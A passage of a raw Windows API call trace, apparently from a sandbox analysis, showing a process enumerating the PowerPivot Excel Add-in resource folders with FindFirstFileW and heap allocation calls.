Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0097.235] GetProcessHeap () returned 0x11a0000 [0097.235] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.235] GetProcessHeap () returned 0x11a0000 [0097.235] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0097.236] GetProcessHeap () returned 0x11a0000 [0097.237] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.237] GetProcessHeap () returned 0x11a0000 [0097.237] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0097.238] GetProcessHeap () returned 0x11a0000 [0097.238] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.238] GetProcessHeap () returned 0x11a0000 [0097.238] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0097.239] GetProcessHeap () returned 0x11a0000 [0097.239] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.239] GetProcessHeap () returned 0x11a0000 [0097.239] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0097.240] GetProcessHeap () returned 0x11a0000 [0097.240] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.241] GetProcessHeap () returned 0x11a0000 [0097.241] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0097.241] GetProcessHeap () returned 0x11a0000 [0097.241] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.241] GetProcessHeap () returned 0x11a0000 [0097.241] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0097.245] GetProcessHeap () returned 0x11a0000 [0097.245] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.246] GetProcessHeap () returned 0x11a0000 [0097.246] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b108 [0097.247] GetProcessHeap () returned 0x11a0000 [0097.247] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.247] GetProcessHeap () returned 0x11a0000 [0097.247] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b108 [0097.248] GetProcessHeap () returned 0x11a0000 [0097.248] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.248] GetProcessHeap () returned 0x11a0000 [0097.248] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0097.249] GetProcessHeap () returned 0x11a0000 [0097.249] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.249] GetProcessHeap () returned 0x11a0000 [0097.249] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0097.250] GetProcessHeap () returned 0x11a0000 [0097.250] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.250] GetProcessHeap () returned 0x11a0000 [0097.250] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0097.251] GetProcessHeap () returned 0x11a0000 [0097.251] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.251] GetProcessHeap () returned 0x11a0000 [0097.251] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b108 [0097.253] GetProcessHeap () returned 0x11a0000 [0097.253] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.253] GetProcessHeap () returned 0x11a0000 [0097.253] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0097.255] GetProcessHeap () returned 0x11a0000 [0097.255] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.255] GetProcessHeap () returned 0x11a0000 [0097.255] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0097.256] GetProcessHeap () returned 0x11a0000 [0097.256] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.256] GetProcessHeap () returned 0x11a0000 [0097.256] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0097.257] GetProcessHeap () returned 0x11a0000 [0097.257] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.257] GetProcessHeap () returned 0x11a0000 [0097.257] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0097.258] GetProcessHeap () returned 0x11a0000 [0097.258] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.258] GetProcessHeap () returned 0x11a0000 [0097.258] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0097.260] GetProcessHeap () returned 0x11a0000 [0097.260] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.260] GetProcessHeap () returned 0x11a0000 [0097.260] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0097.261] GetProcessHeap () returned 0x11a0000 [0097.261] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.261] GetProcessHeap () returned 0x11a0000 [0097.262] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0097.263] GetProcessHeap () returned 0x11a0000 [0097.263] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.263] GetProcessHeap () returned 0x11a0000 [0097.263] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0097.264] GetProcessHeap () returned 0x11a0000 [0097.264] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.264] GetProcessHeap () returned 0x11a0000 [0097.264] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b2c8 [0097.272] GetProcessHeap () returned 0x11a0000 [0097.272] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.272] GetProcessHeap () returned 0x11a0000 [0097.272] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0097.273] GetProcessHeap () returned 0x11a0000 [0097.273] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.273] GetProcessHeap () returned 0x11a0000 [0097.273] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0097.274] GetProcessHeap () returned 0x11a0000 [0097.274] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.274] GetProcessHeap () returned 0x11a0000 [0097.274] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.274] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0097.275] GetProcessHeap () returned 0x11a0000 [0097.275] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.275] GetProcessHeap () returned 0x11a0000 [0097.275] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0097.276] GetProcessHeap () returned 0x11a0000 [0097.276] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.276] GetProcessHeap () returned 0x11a0000 [0097.276] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.277] GetProcessHeap () returned 0x11a0000 [0097.277] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0097.485] GetProcessHeap () returned 0x11a0000 [0097.485] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.485] GetProcessHeap () returned 0x11a0000 [0097.485] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 